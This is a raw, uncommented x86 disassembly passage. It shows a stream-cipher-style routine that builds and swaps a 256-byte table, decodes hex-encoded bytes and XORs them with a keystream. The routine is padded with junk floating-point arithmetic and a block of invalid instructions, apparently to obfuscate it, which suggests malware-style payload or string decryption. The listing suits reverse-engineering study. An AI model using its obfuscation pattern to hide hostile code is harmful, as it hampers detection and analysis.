and dword [ebp - 0xc28], 0
jmp 0x51a673
mov eax, dword [ebp - 0xc28]
inc eax
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xc28], 0xc
jge 0x51a68e
xor eax, eax
mov ecx, dword [ebp - 0xc28]
mov word [ebp + ecx*2 - 0x504], ax
jmp 0x51a666
push 4
call fcn.0093742f
pop ecx
mov dword [ebp - 0x1090], eax
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1090], 0
je 0x51a6c3
lea eax, [ebp - 0x504]
push eax
mov ecx, dword [ebp - 0x1090]
call fcn.0044f277
mov dword [ebp - 0x10e0], eax
jmp 0x51a6ca
and dword [ebp - 0x10e0], 0
mov eax, dword [ebp - 0x10e0]
mov dword [ebp - 0x108c], eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x108c]
mov dword [ebp - 0x4d4], eax
and dword [ebp - 0x72c], 0
and dword [ebp - 0x728], 0
fldz
fstp qword [ebp - 0x514]
fldz
fstp qword [ebp - 0x73c]
fldz
fstp qword [ebp - 0x73c]
jmp 0x51a720
fld qword [ebp - 0x73c]
fadd qword [0x9a2418]
fstp qword [ebp - 0x73c]
fld qword [0x9a6e08]
fcomp qword [ebp - 0x73c]
fnstsw ax
test ah, 0x41
jne 0x51a7a9
fld qword [0x9a6e00]
fmul qword [ebp - 0x73c]
fmul qword [ebp - 0x73c]
fld qword [ebp - 0x73c]
fmul qword [ebp - 0x73c]
fsubp st(1)
fld qword [0x9a6df8]
fmul qword [ebp - 0x73c]
fmul qword [ebp - 0x73c]
fadd qword [0x9a6df0]
fdivp st(1)
fadd qword [ebp - 0x514]
fstp qword [ebp - 0x514]
fld qword [0x9a6de8]
fcomp qword [ebp - 0x514]
fnstsw ax
test ah, 5
jp 0x51a7a4
fld qword [0x9a6de0]
fmul qword [ebp - 0x73c]
fsubr qword [ebp - 0x514]
fstp qword [ebp - 0x514]
jmp 0x51a70e
fldz
fcomp qword [ebp - 0x514]
fnstsw ax
test ah, 0x41
jne 0x51a7f0
inc edi
test al, 0x46
movsb byte es:[edi], byte [esi]
inc eax
cmpsb byte [esi], byte es:[edi]
dec ebx
movsd dword es:[edi], dword [esi]
inc ebp
test eax, 0xa449a848
cmp al, 0xac
dec ecx
mov dword [0xae46ac3c], eax
inc ebx
test al, 0x4b
lodsb al, byte [esi]
inc esp
test al, 0x4a
dec edi
sub al, byte [edx + ebp + 0x39]
aas
outsd dx, dword [esi]
and eax, 0x56455d3d
dec ebp
and dword [ebx], ebp
cmp eax, 0x3c2b4371
bound ecx, qword [edx - 0x17]
test eax, 0xc7000020
test esp, edx
clc
invalid
mov dword [ebp - 0x72c], 0x51a7b8
mov dword [ebp - 0x728], 0x51a7d4
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0xc38], eax
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0xc34], eax
mov byte [ebp - 0xd69], 0x1b
and dword [ebp - 0xd58], 0
jmp 0x51a839
mov eax, dword [ebp - 0xd58]
inc eax
mov dword [ebp - 0xd58], eax
cmp dword [ebp - 0xd58], 0x100
jae 0x51a85a
mov eax, dword [ebp - 0xd58]
mov cl, byte [ebp - 0xd58]
mov byte [ebp + eax - 0xd44], cl
jmp 0x51a82c
and dword [ebp - 0xc3c], 0
mov byte [ebp - 0xd6a], 0
mov dword [ebp - 0xd58], 0xff
jmp 0x51a881
mov eax, dword [ebp - 0xd58]
dec eax
mov dword [ebp - 0xd58], eax
cmp dword [ebp - 0xd58], 0
jbe 0x51ac94
and dword [ebp - 0xd70], 0
mov dword [ebp - 0xd78], 1
mov eax, dword [ebp - 0xd78]
cmp eax, dword [ebp - 0xd58]
jae 0x51a8bf
mov eax, dword [ebp - 0xd78]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xd78], eax
jmp 0x51a89f
mov eax, dword [ebp - 0xc3c]
mov dword [ebp - 0x10e4], eax
mov eax, dword [ebp - 0x10e4]
mov dword [ebp - 0x10e8], eax
cmp dword [ebp - 0x10e8], 0
je 0x51a904
sub dword [ebp - 0x10e8], 1
je 0x51a930
sub dword [ebp - 0x10e8], 1
je 0x51a95c
sub dword [ebp - 0x10e8], 1
je 0x51a988
jmp 0x51a9b4
movzx eax, byte [ebp - 0xd6a]
movzx ebx, byte [ebp + eax - 0xd44]
fld qword [ebp - 0x514]
call fcn.00938626
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xd6a], bl
jmp 0x51a9db
movzx eax, byte [ebp - 0xd6a]
movzx ebx, byte [ebp + eax - 0xd44]
fld qword [ebp - 0x514]
call fcn.00938626
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xd6a], bl
jmp 0x51a9db
movzx eax, byte [ebp - 0xd6a]
movzx ebx, byte [ebp + eax - 0xd44]
fld qword [ebp - 0x514]
call fcn.00938626
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xd6a], bl
jmp 0x51a9db
movzx eax, byte [ebp - 0xd6a]
movzx ebx, byte [ebp + eax - 0xd44]
fld qword [ebp - 0x514]
call fcn.00938626
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xd6a], bl
jmp 0x51a9db
movzx eax, byte [ebp - 0xd6a]
movzx eax, byte [ebp + eax - 0xd44]
mov ecx, dword [ebp - 0xc34]
add ecx, dword [ebp - 0xc3c]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0xd6a], al
mov eax, dword [ebp - 0xc3c]
inc eax
mov dword [ebp - 0xc3c], eax
movzx eax, byte [ebp - 0xd69]
cmp dword [ebp - 0xc3c], eax
jb 0x51abad
and dword [ebp - 0xc3c], 0
fld qword [0x9a6dd8]
fstp qword [ebp - 0xd84]
fld qword [0x9a6dd0]
fstp qword [ebp - 0xd8c]
fld qword [0x9a6dc8]
fstp qword [ebp - 0xd94]
fld qword [ebp - 0xd8c]
fsub qword [ebp - 0xd94]
fstp qword [ebp - 0xd8c]
fld qword [ebp - 0xd8c]
fadd qword [ebp - 0xd94]
fstp qword [ebp - 0xd8c]
fld qword [ebp - 0xd8c]
fsub qword [ebp - 0xd94]
fstp qword [ebp - 0xd8c]
fld qword [ebp - 0xd8c]
fcomp qword [ebp - 0xd84]
fnstsw ax
test ah, 5
jp 0x51aac0
fld qword [ebp - 0xd94]
fmul qword [ebp - 0xd84]
fstp qword [ebp - 0xd94]
fld qword [ebp - 0xd84]
fsub qword [ebp - 0xd8c]
fstp qword [ebp - 0xd84]
fld qword [ebp - 0xd94]
fadd qword [ebp - 0xd84]
fstp qword [ebp - 0xd94]
movzx eax, byte [ebp - 0xd69]
movzx ecx, byte [ebp - 0xd6a]
add ecx, eax
mov byte [ebp - 0xd6a], cl
jmp 0x51abad
fld qword [ebp - 0xd84]
fsub qword [ebp - 0xd94]
fstp qword [ebp - 0xd84]
fld qword [ebp - 0xd8c]
fadd qword [ebp - 0xd84]
fstp qword [ebp - 0xd8c]
fld qword [ebp - 0xd84]
fdiv qword [ebp - 0xd94]
fstp qword [ebp - 0xd84]
fld qword [ebp - 0xd94]
fsub qword [ebp - 0xd84]
fstp qword [ebp - 0xd94]
fld qword [ebp - 0xd8c]
fmul qword [ebp - 0xd94]
fstp qword [ebp - 0xd8c]
fld qword [ebp - 0xd94]
fsub qword [ebp - 0xd84]
fstp qword [ebp - 0xd94]
fld qword [ebp - 0xd8c]
fcomp qword [ebp - 0xd94]
fnstsw ax
test ah, 0x41
jne 0x51ab77
fld qword [ebp - 0xd94]
fdiv qword [ebp - 0xd8c]
fstp qword [ebp - 0xd94]
fld qword [ebp - 0xd8c]
fsub qword [ebp - 0xd84]
fstp qword [ebp - 0xd8c]
fld qword [ebp - 0xd84]
fdiv qword [ebp - 0xd94]
fstp qword [ebp - 0xd84]
jmp 0x51abad
fld qword [ebp - 0xd8c]
fmul qword [ebp - 0xd84]
fstp qword [ebp - 0xd8c]
fld qword [ebp - 0xd94]
fsub qword [ebp - 0xd8c]
fstp qword [ebp - 0xd94]
fld qword [ebp - 0xd84]
fdiv qword [ebp - 0xd94]
fstp qword [ebp - 0xd84]
movzx eax, byte [ebp - 0xd6a]
and eax, dword [ebp - 0xd78]
mov dword [ebp - 0xd74], eax
mov eax, dword [ebp - 0xd70]
inc eax
mov dword [ebp - 0xd70], eax
cmp dword [ebp - 0xd70], 0xb
jbe 0x51abea
mov eax, dword [ebp - 0xd74]
xor edx, edx
div dword [ebp - 0xd58]
mov dword [ebp - 0xd74], edx
mov eax, dword [ebp - 0xd74]
cmp eax, dword [ebp - 0xd58]
ja 0x51a8bf
mov eax, dword [ebp - 0xd58]
cmp eax, dword [ebp - 0xd74]
je 0x51ac8f
mov eax, dword [ebp - 0xd74]
movzx eax, byte [ebp + eax - 0xd44]
mov ecx, dword [ebp - 0xd58]
movzx ecx, byte [ebp + ecx - 0xd44]
xor ecx, eax
mov eax, dword [ebp - 0xd58]
mov byte [ebp + eax - 0xd44], cl
mov eax, dword [ebp - 0xd58]
movzx eax, byte [ebp + eax - 0xd44]
mov ecx, dword [ebp - 0xd74]
movzx ecx, byte [ebp + ecx - 0xd44]
xor ecx, eax
mov eax, dword [ebp - 0xd74]
mov byte [ebp + eax - 0xd44], cl
mov eax, dword [ebp - 0xd74]
movzx eax, byte [ebp + eax - 0xd44]
mov ecx, dword [ebp - 0xd58]
movzx ecx, byte [ebp + ecx - 0xd44]
xor ecx, eax
mov eax, dword [ebp - 0xd58]
mov byte [ebp + eax - 0xd44], cl
jmp 0x51a874
fld dword [0x9a6dc4]
fstp dword [ebp - 0xd48]
fld dword [0x9a6dc0]
fstp dword [ebp - 0xd54]
fld dword [0x9a6dbc]
fstp dword [ebp - 0xd60]
fld dword [0x9a6db8]
fstp dword [ebp - 0xd68]
fld dword [0x9a6db4]
fstp dword [ebp - 0xc2c]
fld dword [0x9a6db0]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xd60]
fsub dword [ebp - 0xd4c]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd68]
fmul dword [ebp - 0xd4c]
fstp dword [ebp - 0xd68]
fld dword [ebp - 0xd60]
fsub dword [ebp - 0xd4c]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd60]
fsub dword [ebp - 0xd4c]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd48]
fsub dword [ebp - 0xd4c]
fstp dword [ebp - 0xd48]
fld dword [ebp - 0xd54]
fadd dword [ebp - 0xd4c]
fstp dword [ebp - 0xd54]
fld dword [ebp - 0xd60]
fld dword [ebp - 0xd68]
fcompp
fnstsw ax
test ah, 5
jp 0x51af2a
fld dword [ebp - 0xd68]
fdiv dword [ebp - 0xd4c]
fstp dword [ebp - 0xd68]
fld dword [ebp - 0xd4c]
fdiv dword [ebp - 0xd54]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xd60]
fsub dword [ebp - 0xc2c]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd4c]
fdiv dword [ebp - 0xd54]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xc2c]
fdiv dword [ebp - 0xd48]
fstp dword [ebp - 0xc2c]
fld dword [ebp - 0xd68]
fmul dword [ebp - 0xd4c]
fstp dword [ebp - 0xd68]
fld dword [ebp - 0xd68]
fsub dword [ebp - 0xc2c]
fstp dword [ebp - 0xd68]
fld dword [ebp - 0xd60]
fmul dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd60]
fdiv dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd4c]
fsub dword [ebp - 0xd48]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xd48]
fsub dword [ebp - 0xd54]
fstp dword [ebp - 0xd48]
fld dword [ebp - 0xd68]
fdiv dword [ebp - 0xc2c]
fstp dword [ebp - 0xd68]
fld dword [ebp - 0xd48]
fld dword [ebp - 0xd60]
fcompp
fnstsw ax
test ah, 0x41
jne 0x51aebc
fld dword [ebp - 0xc2c]
fadd dword [ebp - 0xd4c]
fstp dword [ebp - 0xc2c]
fld dword [ebp - 0xd60]
fmul dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd4c]
fsub dword [ebp - 0xd48]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xd60]
fsub dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd4c]
fadd dword [ebp - 0xd48]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xd68]
fadd dword [ebp - 0xc2c]
fstp dword [ebp - 0xd68]
jmp 0x51af28
fld dword [ebp - 0xd54]
fsub dword [ebp - 0xd60]
fstp dword [ebp - 0xd54]
fld dword [ebp - 0xd4c]
fmul dword [ebp - 0xd48]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xd60]
fadd dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xc2c]
fsub dword [ebp - 0xd4c]
fstp dword [ebp - 0xc2c]
fld dword [ebp - 0xd48]
fmul dword [ebp - 0xd54]
fstp dword [ebp - 0xd48]
fld dword [ebp - 0xd54]
fmul dword [ebp - 0xd60]
fstp dword [ebp - 0xd54]
jmp 0x51afa2
fld dword [ebp - 0xd4c]
fmul dword [ebp - 0xd48]
fstp dword [ebp - 0xd4c]
fld dword [ebp - 0xd60]
fmul dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd60]
fmul dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
fld dword [ebp - 0xd54]
fsub dword [ebp - 0xd60]
fstp dword [ebp - 0xd54]
fld dword [ebp - 0xd54]
fmul dword [ebp - 0xd60]
fstp dword [ebp - 0xd54]
fld dword [ebp - 0xd60]
fmul dword [ebp - 0xd68]
fstp dword [ebp - 0xd60]
mov al, byte [ebp - 0xd43]
mov byte [ebp - 0xd6b], al
mov al, byte [ebp - 0xd41]
mov byte [ebp - 0xc3d], al
mov al, byte [ebp - 0xd3f]
mov byte [ebp - 0xd4d], al
mov al, byte [ebp - 0xd3d]
mov byte [ebp - 0xd59], al
movzx eax, byte [ebp - 0xd6a]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp - 0xc2d], al
mov dword [ebp - 0xd64], 0x1c
cmp dword [ebp - 0xd64], 2
jle 0x51c86a
mov eax, dword [ebp - 0xd64]
and eax, 1
jne 0x51c86a
and dword [ebp - 0xdec], 0
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0xde8]
inc eax
mov dword [ebp - 0xde8], eax
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0xdec]
shl eax, 1
mov dword [ebp - 0xda0], eax
and dword [ebp - 0xe08], 0
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xda0]
movzx eax, byte [eax]
add eax, dword [ebp - 0xe08]
mov dword [ebp - 0xe08], eax
and dword [ebp - 0xdbc], 0
mov eax, dword [ebp - 0xdbc]
add eax, 0x3c
mov dword [ebp - 0xdbc], eax
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0xdec]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xdd8], eax
and dword [ebp - 0xe2c], 0
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xdd8]
movzx eax, byte [eax]
add eax, dword [ebp - 0xe2c]
mov dword [ebp - 0xe2c], eax
and dword [ebp - 0xe04], 0
mov eax, dword [ebp - 0xe04]
add eax, 0xa0
mov dword [ebp - 0xe04], eax
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0xe08]
sub eax, dword [ebp - 0xdbc]
add eax, dword [ebp - 0xe28]
mov dword [ebp - 0xe28], eax
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xe04]
add eax, dword [ebp - 0xda4]
mov dword [ebp - 0xda4], eax
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0xe28]
shl eax, 4
mov dword [ebp - 0xe24], eax
and dword [ebp - 0xe00], 0
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0xe00], eax
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0xe24]
or eax, dword [ebp - 0xe00]
mov dword [ebp - 0xde4], eax
mov byte [ebp - 0xdc5], 0
mov al, byte [ebp - 0xde4]
mov byte [ebp - 0xdc5], al
mov byte [ebp - 0xe1d], 0
movzx eax, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp - 0xe1d], al
movzx eax, byte [ebp - 0xd6b]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xc3d]
add ecx, eax
mov byte [ebp - 0xc3d], cl
mov al, byte [ebp - 0xd6b]
add al, 1
mov byte [ebp - 0xd6b], al
fld dword [0x9a6dac]
fstp dword [ebp - 0xdd4]
fld dword [0x9a6da8]
fstp dword [ebp - 0xdf8]
fld dword [0x9a6da4]
fstp dword [ebp - 0xd9c]
fld dword [0x9a6da0]
fstp dword [ebp - 0xdb8]
fld dword [0x9a6d9c]
fstp dword [ebp - 0xdd0]
fld dword [ebp - 0xdd4]
fsub dword [ebp - 0xdd0]
fstp dword [ebp - 0xdd4]
fld dword [ebp - 0xdf8]
fmul dword [ebp - 0xdd0]
fstp dword [ebp - 0xdf8]
fld dword [ebp - 0xdd4]
fadd dword [ebp - 0xdd0]
fstp dword [ebp - 0xdd4]
fld dword [ebp - 0xdb8]
fsub dword [ebp - 0xdd0]
fstp dword [ebp - 0xdb8]
fld dword [ebp - 0xd9c]
fadd dword [ebp - 0xdd0]
fstp dword [ebp - 0xd9c]
fld dword [ebp - 0xdb8]
fld dword [ebp - 0xdf8]
fcompp
fnstsw ax
test ah, 5
jp 0x51b29a
fld dword [ebp - 0xdd4]
fsub dword [ebp - 0xd9c]
fstp dword [ebp - 0xdd4]
fld dword [ebp - 0xdd0]
fmul dword [ebp - 0xdf8]
fstp dword [ebp - 0xdd0]
fld dword [ebp - 0xdb8]
fdiv dword [ebp - 0xdd4]
fstp dword [ebp - 0xdb8]
fld dword [ebp - 0xd9c]
fdiv dword [ebp - 0xdd0]
fstp dword [ebp - 0xd9c]
fld dword [ebp - 0xdd0]
fsub dword [ebp - 0xdf8]
fstp dword [ebp - 0xdd0]
jmp 0x51b310
fld dword [ebp - 0xdf8]
fadd dword [ebp - 0xd9c]
fstp dword [ebp - 0xdf8]
fld dword [ebp - 0xdd0]
fadd dword [ebp - 0xdd4]
fstp dword [ebp - 0xdd0]
fld dword [ebp - 0xdf8]
fadd dword [ebp - 0xd9c]
fstp dword [ebp - 0xdf8]
fld dword [ebp - 0xdb8]
fadd dword [ebp - 0xdd0]
fstp dword [ebp - 0xdb8]
fld dword [ebp - 0xd9c]
fsub dword [ebp - 0xdb8]
fstp dword [ebp - 0xd9c]
movzx eax, byte [ebp - 0xc3d]
movzx ecx, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd59]
movzx ecx, byte [ebp - 0xc3d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
movzx ecx, byte [ebp - 0xd59]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
mov cl, byte [ebp - 0xe1d]
mov byte [ebp + eax - 0xd44], cl
movzx eax, byte [ebp - 0xe1d]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xd4d]
add ecx, eax
mov byte [ebp - 0xd4d], cl
movzx eax, byte [ebp - 0xdc5]
movzx ecx, byte [ebp - 0xc3d]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xd6b]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
movzx ecx, byte [ebp - 0xd59]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xc2d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
movzx edx, byte [ebp - 0xd4d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
mov byte [ebp - 0xd59], al
mov al, byte [ebp - 0xdc5]
mov byte [ebp - 0xc2d], al
mov al, byte [ebp - 0xd59]
mov byte [ebp - 0xdf9], al
cmp dword [ebp - 0xdec], 0
jle 0x51b434
mov eax, dword [ebp - 0xdec]
mov cl, byte [ebp - 0xdf9]
mov byte [ebp + eax - 0x74d], cl
mov eax, dword [ebp - 0xdec]
inc eax
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0xde8]
inc eax
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xdec]
shl eax, 1
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xda0]
movzx eax, byte [eax]
mov dword [ebp - 0xe08], eax
mov dword [ebp - 0xdbc], 0x3c
mov eax, dword [ebp - 0xdec]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xdd8]
movzx eax, byte [eax]
mov dword [ebp - 0xe2c], eax
mov dword [ebp - 0xe04], 0xa0
mov eax, dword [ebp - 0xe08]
sub eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xe04]
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 0xe28]
shl eax, 4
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0xe00], eax
mov eax, dword [ebp - 0xe24]
or eax, dword [ebp - 0xe00]
mov dword [ebp - 0xde4], eax
mov al, byte [ebp - 0xde4]
mov byte [ebp - 0xdc5], al
fld dword [0x9a6d98]
fstp dword [ebp - 0xdf4]
fld dword [0x9a6d94]
fstp dword [ebp - 0xd98]
fld dword [0x9a6d90]
fstp dword [ebp - 0xdb0]
fld dword [0x9a6d8c]
fstp dword [ebp - 0xe14]
fld dword [ebp - 0xdf4]
fadd dword [ebp - 0xe14]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xd98]
fsub dword [ebp - 0xe14]
fstp dword [ebp - 0xd98]
fld dword [ebp - 0xdb0]
fsub dword [ebp - 0xe14]
fstp dword [ebp - 0xdb0]
fld dword [ebp - 0xdb0]
fadd dword [ebp - 0xe14]
fstp dword [ebp - 0xdb0]
fld dword [ebp - 0xe14]
fld dword [ebp - 0xdf4]
fcompp
fnstsw ax
test ah, 5
jp 0x51b6d1
fld dword [ebp - 0xd98]
fsub dword [ebp - 0xdb0]
fstp dword [ebp - 0xd98]
fld dword [ebp - 0xdf4]
fadd dword [ebp - 0xd98]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xd98]
fadd dword [ebp - 0xdb0]
fstp dword [ebp - 0xd98]
fld dword [ebp - 0xdf4]
fmul dword [ebp - 0xd98]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xdf4]
fadd dword [ebp - 0xd98]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xdf4]
fadd dword [ebp - 0xd98]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xdb0]
fmul dword [ebp - 0xe14]
fstp dword [ebp - 0xdb0]
fld dword [ebp - 0xdf4]
fmul dword [ebp - 0xd98]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xd98]
fld dword [ebp - 0xe14]
fcompp
fnstsw ax
test ah, 5
jp 0x51b687
fld dword [ebp - 0xdb0]
fmul dword [ebp - 0xe14]
fstp dword [ebp - 0xdb0]
fld dword [ebp - 0xd98]
fsub dword [ebp - 0xdb0]
fstp dword [ebp - 0xd98]
fld dword [ebp - 0xdb0]
fadd dword [ebp - 0xe14]
fstp dword [ebp - 0xdb0]
fld dword [ebp - 0xd98]
fadd dword [ebp - 0xdb0]
fstp dword [ebp - 0xd98]
jmp 0x51b6cf
fld dword [ebp - 0xd98]
fsub dword [ebp - 0xe14]
fstp dword [ebp - 0xd98]
fld dword [ebp - 0xd98]
fmul dword [ebp - 0xe14]
fstp dword [ebp - 0xd98]
fld dword [ebp - 0xe14]
fdiv dword [ebp - 0xd98]
fstp dword [ebp - 0xe14]
fld dword [ebp - 0xdb0]
fdiv dword [ebp - 0xdf4]
fstp dword [ebp - 0xdb0]
jmp 0x51b72d
fld dword [ebp - 0xdb0]
fsub dword [ebp - 0xdf4]
fstp dword [ebp - 0xdb0]
fld dword [ebp - 0xdf4]
fmul dword [ebp - 0xdb0]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xdf4]
fadd dword [ebp - 0xdb0]
fstp dword [ebp - 0xdf4]
fld dword [ebp - 0xdb0]
fmul dword [ebp - 0xdf4]
fstp dword [ebp - 0xdb0]
movzx eax, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp - 0xe1d], al
movzx eax, byte [ebp - 0xd6b]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xc3d]
add ecx, eax
mov byte [ebp - 0xc3d], cl
mov al, byte [ebp - 0xd6b]
add al, 1
mov byte [ebp - 0xd6b], al
movzx eax, byte [ebp - 0xc3d]
movzx ecx, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd59]
movzx ecx, byte [ebp - 0xc3d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
movzx ecx, byte [ebp - 0xd59]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
mov cl, byte [ebp - 0xe1d]
mov byte [ebp + eax - 0xd44], cl
movzx eax, byte [ebp - 0xe1d]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xd4d]
add ecx, eax
mov byte [ebp - 0xd4d], cl
movzx eax, byte [ebp - 0xdc5]
movzx ecx, byte [ebp - 0xc3d]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xd6b]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
movzx ecx, byte [ebp - 0xd59]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xc2d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
movzx edx, byte [ebp - 0xd4d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
mov byte [ebp - 0xd59], al
mov al, byte [ebp - 0xdc5]
mov byte [ebp - 0xc2d], al
mov al, byte [ebp - 0xd59]
mov byte [ebp - 0xdf9], al
cmp dword [ebp - 0xdec], 0
jle 0x51b899
mov eax, dword [ebp - 0xdec]
mov cl, byte [ebp - 0xdf9]
mov byte [ebp + eax - 0x74d], cl
mov eax, dword [ebp - 0xdec]
inc eax
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0xde8]
inc eax
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xdec]
shl eax, 1
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xda0]
movzx eax, byte [eax]
mov dword [ebp - 0xe08], eax
mov dword [ebp - 0xdbc], 0x3c
mov eax, dword [ebp - 0xdec]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xdd8]
movzx eax, byte [eax]
mov dword [ebp - 0xe2c], eax
mov dword [ebp - 0xe04], 0xa0
mov eax, dword [ebp - 0xe08]
sub eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xe04]
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 0xe28]
shl eax, 4
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0xe00], eax
fld dword [0x9a6d88]
fstp dword [ebp - 0xde0]
fld dword [0x9a6d84]
fstp dword [ebp - 0xdc4]
fld dword [0x9a6d80]
fstp dword [ebp - 0xdac]
fld dword [ebp - 0xdc4]
fmul dword [ebp - 0xdac]
fstp dword [ebp - 0xdc4]
fld dword [ebp - 0xde0]
fmul dword [ebp - 0xdac]
fstp dword [ebp - 0xde0]
fld dword [ebp - 0xdc4]
fsub dword [ebp - 0xdac]
fstp dword [ebp - 0xdc4]
fld dword [ebp - 0xdac]
fld dword [ebp - 0xde0]
fcompp
fnstsw ax
test ah, 5
jp 0x51b9f5
fld dword [ebp - 0xdac]
fadd dword [ebp - 0xde0]
fstp dword [ebp - 0xdac]
fld dword [ebp - 0xdc4]
fmul dword [ebp - 0xdac]
fstp dword [ebp - 0xdc4]
fld dword [ebp - 0xdac]
fmul dword [ebp - 0xde0]
fstp dword [ebp - 0xdac]
jmp 0x51ba3d
fld dword [ebp - 0xde0]
fadd dword [ebp - 0xdac]
fstp dword [ebp - 0xde0]
fld dword [ebp - 0xdac]
fsub dword [ebp - 0xdc4]
fstp dword [ebp - 0xdac]
fld dword [ebp - 0xde0]
fadd dword [ebp - 0xdac]
fstp dword [ebp - 0xde0]
mov eax, dword [ebp - 0xe24]
